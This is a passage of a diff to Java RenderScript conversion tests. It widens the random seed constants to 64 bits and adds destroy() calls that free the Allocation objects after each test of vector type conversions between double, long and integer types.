+        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_64, 2, 0x3479ccaea92a37bcl, 0.0000000000000000000e+00, 6.5535000000000000000e+04);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_16, 2), INPUTSIZE);
             script.forEach_testConvertUshort2Double2Ushort2(inV, out);
             verifyResultsConvertDouble2Ushort2(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertUshort2Double2Ushort2: " + e.toString());
         }
@@ -14724,9 +15362,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_16, 2), INPUTSIZE);
             scriptRelaxed.forEach_testConvertUshort2Double2Ushort2(inV, out);
             verifyResultsConvertDouble2Ushort2(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertUshort2Double2Ushort2: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertDouble2Ushort2(Allocation inV, Allocation out, boolean relaxed) {
@@ -14780,11 +15420,12 @@
     }
 
     private void checkConvertDouble3Ushort3() {
-        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_64, 3, 0xff85c8e8l, 0.0000000000000000000e+00, 6.5535000000000000000e+04);
+        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_64, 3, 0x34c69435ff85c8e8l, 0.0000000000000000000e+00, 6.5535000000000000000e+04);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_16, 3), INPUTSIZE);
             script.forEach_testConvertUshort3Double3Ushort3(inV, out);
             verifyResultsConvertDouble3Ushort3(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertUshort3Double3Ushort3: " + e.toString());
         }
@@ -14792,9 +15433,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_16, 3), INPUTSIZE);
             scriptRelaxed.forEach_testConvertUshort3Double3Ushort3(inV, out);
             verifyResultsConvertDouble3Ushort3(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertUshort3Double3Ushort3: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertDouble3Ushort3(Allocation inV, Allocation out, boolean relaxed) {
@@ -14848,11 +15491,12 @@
     }
 
     private void checkConvertDouble4Ushort4() {
-        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_64, 4, 0x55e15a14l, 0.0000000000000000000e+00, 6.5535000000000000000e+04);
+        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_64, 4, 0x35135bbd55e15a14l, 0.0000000000000000000e+00, 6.5535000000000000000e+04);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_16, 4), INPUTSIZE);
             script.forEach_testConvertUshort4Double4Ushort4(inV, out);
             verifyResultsConvertDouble4Ushort4(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertUshort4Double4Ushort4: " + e.toString());
         }
@@ -14860,9 +15504,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_16, 4), INPUTSIZE);
             scriptRelaxed.forEach_testConvertUshort4Double4Ushort4(inV, out);
             verifyResultsConvertDouble4Ushort4(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertUshort4Double4Ushort4: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertDouble4Ushort4(Allocation inV, Allocation out, boolean relaxed) {
@@ -14921,11 +15567,12 @@
     }
 
     private void checkConvertLong2Ushort2() {
-        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.SIGNED_64, 2, 0xbc97e8e9l, false, 16);
+        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.SIGNED_64, 2, 0x7b96893ebc97e8e9l, false, 16);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_16, 2), INPUTSIZE);
             script.forEach_testConvertUshort2Long2Ushort2(inV, out);
             verifyResultsConvertLong2Ushort2(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertUshort2Long2Ushort2: " + e.toString());
         }
@@ -14933,9 +15580,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_16, 2), INPUTSIZE);
             scriptRelaxed.forEach_testConvertUshort2Long2Ushort2(inV, out);
             verifyResultsConvertLong2Ushort2(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertUshort2Long2Ushort2: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertLong2Ushort2(Allocation inV, Allocation out, boolean relaxed) {
@@ -14989,11 +15638,12 @@
     }
 
     private void checkConvertLong3Ushort3() {
-        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.SIGNED_64, 3, 0x12f37a15l, false, 16);
+        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.SIGNED_64, 3, 0x7be350c612f37a15l, false, 16);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_16, 3), INPUTSIZE);
             script.forEach_testConvertUshort3Long3Ushort3(inV, out);
             verifyResultsConvertLong3Ushort3(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertUshort3Long3Ushort3: " + e.toString());
         }
@@ -15001,9 +15651,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_16, 3), INPUTSIZE);
             scriptRelaxed.forEach_testConvertUshort3Long3Ushort3(inV, out);
             verifyResultsConvertLong3Ushort3(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertUshort3Long3Ushort3: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertLong3Ushort3(Allocation inV, Allocation out, boolean relaxed) {
@@ -15057,11 +15709,12 @@
     }
 
     private void checkConvertLong4Ushort4() {
-        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.SIGNED_64, 4, 0x694f0b41l, false, 16);
+        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.SIGNED_64, 4, 0x7c30184d694f0b41l, false, 16);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_16, 4), INPUTSIZE);
             script.forEach_testConvertUshort4Long4Ushort4(inV, out);
             verifyResultsConvertLong4Ushort4(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertUshort4Long4Ushort4: " + e.toString());
         }
@@ -15069,9 +15722,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_16, 4), INPUTSIZE);
             scriptRelaxed.forEach_testConvertUshort4Long4Ushort4(inV, out);
             verifyResultsConvertLong4Ushort4(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertUshort4Long4Ushort4: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertLong4Ushort4(Allocation inV, Allocation out, boolean relaxed) {
@@ -15130,11 +15785,12 @@
     }
 
     private void checkConvertUlong2Ushort2() {
-        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.UNSIGNED_64, 2, 0xe9e438a2l, false, 16);
+        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.UNSIGNED_64, 2, 0xaa35ea85e9e438a2l, false, 16);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_16, 2), INPUTSIZE);
             script.forEach_testConvertUshort2Ulong2Ushort2(inV, out);
             verifyResultsConvertUlong2Ushort2(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertUshort2Ulong2Ushort2: " + e.toString());
         }
@@ -15142,9 +15798,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_16, 2), INPUTSIZE);
             scriptRelaxed.forEach_testConvertUshort2Ulong2Ushort2(inV, out);
             verifyResultsConvertUlong2Ushort2(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertUshort2Ulong2Ushort2: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertUlong2Ushort2(Allocation inV, Allocation out, boolean relaxed) {
@@ -15198,11 +15856,12 @@
     }
 
     private void checkConvertUlong3Ushort3() {
-        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.UNSIGNED_64, 3, 0x403fc9cel, false, 16);
+        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.UNSIGNED_64, 3, 0xaa82b20d403fc9cel, false, 16);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_16, 3), INPUTSIZE);
             script.forEach_testConvertUshort3Ulong3Ushort3(inV, out);
             verifyResultsConvertUlong3Ushort3(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertUshort3Ulong3Ushort3: " + e.toString());
         }
@@ -15210,9 +15869,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_16, 3), INPUTSIZE);
             scriptRelaxed.forEach_testConvertUshort3Ulong3Ushort3(inV, out);
             verifyResultsConvertUlong3Ushort3(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertUshort3Ulong3Ushort3: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertUlong3Ushort3(Allocation inV, Allocation out, boolean relaxed) {
@@ -15266,11 +15927,12 @@
     }
 
     private void checkConvertUlong4Ushort4() {
-        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.UNSIGNED_64, 4, 0x969b5afal, false, 16);
+        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.UNSIGNED_64, 4, 0xaacf7994969b5afal, false, 16);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_16, 4), INPUTSIZE);
             script.forEach_testConvertUshort4Ulong4Ushort4(inV, out);
             verifyResultsConvertUlong4Ushort4(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertUshort4Ulong4Ushort4: " + e.toString());
         }
@@ -15278,9 +15940,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_16, 4), INPUTSIZE);
             scriptRelaxed.forEach_testConvertUshort4Ulong4Ushort4(inV, out);
             verifyResultsConvertUlong4Ushort4(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertUshort4Ulong4Ushort4: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertUlong4Ushort4(Allocation inV, Allocation out, boolean relaxed) {
@@ -15339,11 +16003,12 @@
     }
 
     private void checkConvertDouble2Int2() {
-        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_64, 2, 0xcaf628fcl, -2.1474836480000000000e+09, 2.1474836470000000000e+09);
+        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_64, 2, 0xa57cd81dcaf628fcl, -2.1474836480000000000e+09, 2.1474836470000000000e+09);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_32, 2), INPUTSIZE);
             script.forEach_testConvertInt2Double2Int2(inV, out);
             verifyResultsConvertDouble2Int2(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertInt2Double2Int2: " + e.toString());
         }
@@ -15351,9 +16016,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_32, 2), INPUTSIZE);
             scriptRelaxed.forEach_testConvertInt2Double2Int2(inV, out);
             verifyResultsConvertDouble2Int2(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertInt2Double2Int2: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertDouble2Int2(Allocation inV, Allocation out, boolean relaxed) {
@@ -15407,11 +16074,12 @@
     }
 
     private void checkConvertDouble3Int3() {
-        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_64, 3, 0x149e3932l, -2.1474836480000000000e+09, 2.1474836470000000000e+09);
+        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_64, 3, 0xa57cd85d149e3932l, -2.1474836480000000000e+09, 2.1474836470000000000e+09);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_32, 3), INPUTSIZE);
             script.forEach_testConvertInt3Double3Int3(inV, out);
             verifyResultsConvertDouble3Int3(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertInt3Double3Int3: " + e.toString());
         }
@@ -15419,9 +16087,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_32, 3), INPUTSIZE);
             scriptRelaxed.forEach_testConvertInt3Double3Int3(inV, out);
             verifyResultsConvertDouble3Int3(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertInt3Double3Int3: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertDouble3Int3(Allocation inV, Allocation out, boolean relaxed) {
@@ -15475,11 +16145,12 @@
     }
 
     private void checkConvertDouble4Int4() {
-        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_64, 4, 0x5e464968l, -2.1474836480000000000e+09, 2.1474836470000000000e+09);
+        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_64, 4, 0xa57cd89c5e464968l, -2.1474836480000000000e+09, 2.1474836470000000000e+09);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_32, 4), INPUTSIZE);
             script.forEach_testConvertInt4Double4Int4(inV, out);
             verifyResultsConvertDouble4Int4(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertInt4Double4Int4: " + e.toString());
         }
@@ -15487,9 +16158,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_32, 4), INPUTSIZE);
             scriptRelaxed.forEach_testConvertInt4Double4Int4(inV, out);
             verifyResultsConvertDouble4Int4(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertInt4Double4Int4: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertDouble4Int4(Allocation inV, Allocation out, boolean relaxed) {
@@ -15548,11 +16221,12 @@
     }
 
     private void checkConvertLong2Int2() {
-        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.SIGNED_64, 2, 0xe5deba3bl, true, 31);
+        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.SIGNED_64, 2, 0xfe441c66e5deba3bl, true, 31);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_32, 2), INPUTSIZE);
             script.forEach_testConvertInt2Long2Int2(inV, out);
             verifyResultsConvertLong2Int2(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertInt2Long2Int2: " + e.toString());
         }
@@ -15560,9 +16234,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_32, 2), INPUTSIZE);
             scriptRelaxed.forEach_testConvertInt2Long2Int2(inV, out);
             verifyResultsConvertLong2Int2(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertInt2Long2Int2: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertLong2Int2(Allocation inV, Allocation out, boolean relaxed) {
@@ -15616,11 +16292,12 @@
     }
 
     private void checkConvertLong3Int3() {
-        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.SIGNED_64, 3, 0x2f86ca71l, true, 31);
+        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.SIGNED_64, 3, 0xfe441ca62f86ca71l, true, 31);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_32, 3), INPUTSIZE);
             script.forEach_testConvertInt3Long3Int3(inV, out);
             verifyResultsConvertLong3Int3(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertInt3Long3Int3: " + e.toString());
         }
@@ -15628,9 +16305,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_32, 3), INPUTSIZE);
             scriptRelaxed.forEach_testConvertInt3Long3Int3(inV, out);
             verifyResultsConvertLong3Int3(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertInt3Long3Int3: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertLong3Int3(Allocation inV, Allocation out, boolean relaxed) {
@@ -15684,11 +16363,12 @@
     }
 
     private void checkConvertLong4Int4() {
-        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.SIGNED_64, 4, 0x792edaa7l, true, 31);
+        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.SIGNED_64, 4, 0xfe441ce5792edaa7l, true, 31);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_32, 4), INPUTSIZE);
             script.forEach_testConvertInt4Long4Int4(inV, out);
             verifyResultsConvertLong4Int4(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertInt4Long4Int4: " + e.toString());
         }
@@ -15696,9 +16376,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_32, 4), INPUTSIZE);
             scriptRelaxed.forEach_testConvertInt4Long4Int4(inV, out);
             verifyResultsConvertLong4Int4(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertInt4Long4Int4: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertLong4Int4(Allocation inV, Allocation out, boolean relaxed) {
@@ -15757,11 +16439,12 @@
     }
 
     private void checkConvertUlong2Int2() {
-        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.UNSIGNED_64, 2, 0xe352de3el, false, 31);
+        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.UNSIGNED_64, 2, 0xe11d350e352de3el, false, 31);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_32, 2), INPUTSIZE);
             script.forEach_testConvertInt2Ulong2Int2(inV, out);
             verifyResultsConvertUlong2Int2(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertInt2Ulong2Int2: " + e.toString());
         }
@@ -15769,9 +16452,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_32, 2), INPUTSIZE);
             scriptRelaxed.forEach_testConvertInt2Ulong2Int2(inV, out);
             verifyResultsConvertUlong2Int2(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertInt2Ulong2Int2: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertUlong2Int2(Allocation inV, Allocation out, boolean relaxed) {
@@ -15825,11 +16510,12 @@
     }
 
     private void checkConvertUlong3Int3() {
-        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.UNSIGNED_64, 3, 0x2cfaee74l, false, 31);
+        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.UNSIGNED_64, 3, 0xe11d3902cfaee74l, false, 31);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_32, 3), INPUTSIZE);
             script.forEach_testConvertInt3Ulong3Int3(inV, out);
             verifyResultsConvertUlong3Int3(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertInt3Ulong3Int3: " + e.toString());
         }
@@ -15837,9 +16523,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_32, 3), INPUTSIZE);
             scriptRelaxed.forEach_testConvertInt3Ulong3Int3(inV, out);
             verifyResultsConvertUlong3Int3(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertInt3Ulong3Int3: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertUlong3Int3(Allocation inV, Allocation out, boolean relaxed) {
@@ -15893,11 +16581,12 @@
     }
 
     private void checkConvertUlong4Int4() {
-        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.UNSIGNED_64, 4, 0x76a2feaal, false, 31);
+        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.UNSIGNED_64, 4, 0xe11d3cf76a2feaal, false, 31);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_32, 4), INPUTSIZE);
             script.forEach_testConvertInt4Ulong4Int4(inV, out);
             verifyResultsConvertUlong4Int4(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertInt4Ulong4Int4: " + e.toString());
         }
@@ -15905,9 +16594,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_32, 4), INPUTSIZE);
             scriptRelaxed.forEach_testConvertInt4Ulong4Int4(inV, out);
             verifyResultsConvertUlong4Int4(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertInt4Ulong4Int4: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertUlong4Int4(Allocation inV, Allocation out, boolean relaxed) {
@@ -15966,11 +16657,12 @@
     }
 
     private void checkConvertDouble2Uint2() {
-        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_64, 2, 0x7de7dd7l, 0.0000000000000000000e+00, 4.2949672950000000000e+09);
+        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_64, 2, 0xcbf84ff107de7dd7l, 0.0000000000000000000e+00, 4.2949672950000000000e+09);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_32, 2), INPUTSIZE);
             script.forEach_testConvertUint2Double2Uint2(inV, out);
             verifyResultsConvertDouble2Uint2(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertUint2Double2Uint2: " + e.toString());
         }
@@ -15978,9 +16670,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_32, 2), INPUTSIZE);
             scriptRelaxed.forEach_testConvertUint2Double2Uint2(inV, out);
             verifyResultsConvertDouble2Uint2(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertUint2Double2Uint2: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertDouble2Uint2(Allocation inV, Allocation out, boolean relaxed) {
@@ -16034,11 +16728,12 @@
     }
 
     private void checkConvertDouble3Uint3() {
-        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_64, 3, 0x66e642cbl, 0.0000000000000000000e+00, 4.2949672950000000000e+09);
+        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_64, 3, 0xcbf85a9266e642cbl, 0.0000000000000000000e+00, 4.2949672950000000000e+09);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_32, 3), INPUTSIZE);
             script.forEach_testConvertUint3Double3Uint3(inV, out);
             verifyResultsConvertDouble3Uint3(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertUint3Double3Uint3: " + e.toString());
         }
@@ -16046,9 +16741,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_32, 3), INPUTSIZE);
             scriptRelaxed.forEach_testConvertUint3Double3Uint3(inV, out);
             verifyResultsConvertDouble3Uint3(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertUint3Double3Uint3: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertDouble3Uint3(Allocation inV, Allocation out, boolean relaxed) {
@@ -16102,11 +16799,12 @@
     }
 
     private void checkConvertDouble4Uint4() {
-        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_64, 4, 0xc5ee07bfl, 0.0000000000000000000e+00, 4.2949672950000000000e+09);
+        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_64, 4, 0xcbf86533c5ee07bfl, 0.0000000000000000000e+00, 4.2949672950000000000e+09);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_32, 4), INPUTSIZE);
             script.forEach_testConvertUint4Double4Uint4(inV, out);
             verifyResultsConvertDouble4Uint4(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertUint4Double4Uint4: " + e.toString());
         }
@@ -16114,9 +16812,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_32, 4), INPUTSIZE);
             scriptRelaxed.forEach_testConvertUint4Double4Uint4(inV, out);
             verifyResultsConvertDouble4Uint4(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertUint4Double4Uint4: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertDouble4Uint4(Allocation inV, Allocation out, boolean relaxed) {
@@ -16175,11 +16875,12 @@
     }
 
     private void checkConvertLong2Uint2() {
-        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.SIGNED_64, 2, 0x8ceee36cl, false, 32);
+        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.SIGNED_64, 2, 0xb570c8388ceee36cl, false, 32);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_32, 2), INPUTSIZE);
             script.forEach_testConvertUint2Long2Uint2(inV, out);
             verifyResultsConvertLong2Uint2(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertUint2Long2Uint2: " + e.toString());
         }
@@ -16187,9 +16888,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_32, 2), INPUTSIZE);
             scriptRelaxed.forEach_testConvertUint2Long2Uint2(inV, out);
             verifyResultsConvertLong2Uint2(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertUint2Long2Uint2: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertLong2Uint2(Allocation inV, Allocation out, boolean relaxed) {
@@ -16243,11 +16946,12 @@
     }
 
     private void checkConvertLong3Uint3() {
-        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.SIGNED_64, 3, 0xebf6a860l, false, 32);
+        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.SIGNED_64, 3, 0xb570d2d9ebf6a860l, false, 32);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_32, 3), INPUTSIZE);
             script.forEach_testConvertUint3Long3Uint3(inV, out);
             verifyResultsConvertLong3Uint3(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertUint3Long3Uint3: " + e.toString());
         }
@@ -16255,9 +16959,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_32, 3), INPUTSIZE);
             scriptRelaxed.forEach_testConvertUint3Long3Uint3(inV, out);
             verifyResultsConvertLong3Uint3(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertUint3Long3Uint3: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertLong3Uint3(Allocation inV, Allocation out, boolean relaxed) {
@@ -16311,11 +17017,12 @@
     }
 
     private void checkConvertLong4Uint4() {
-        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.SIGNED_64, 4, 0x4afe6d54l, false, 32);
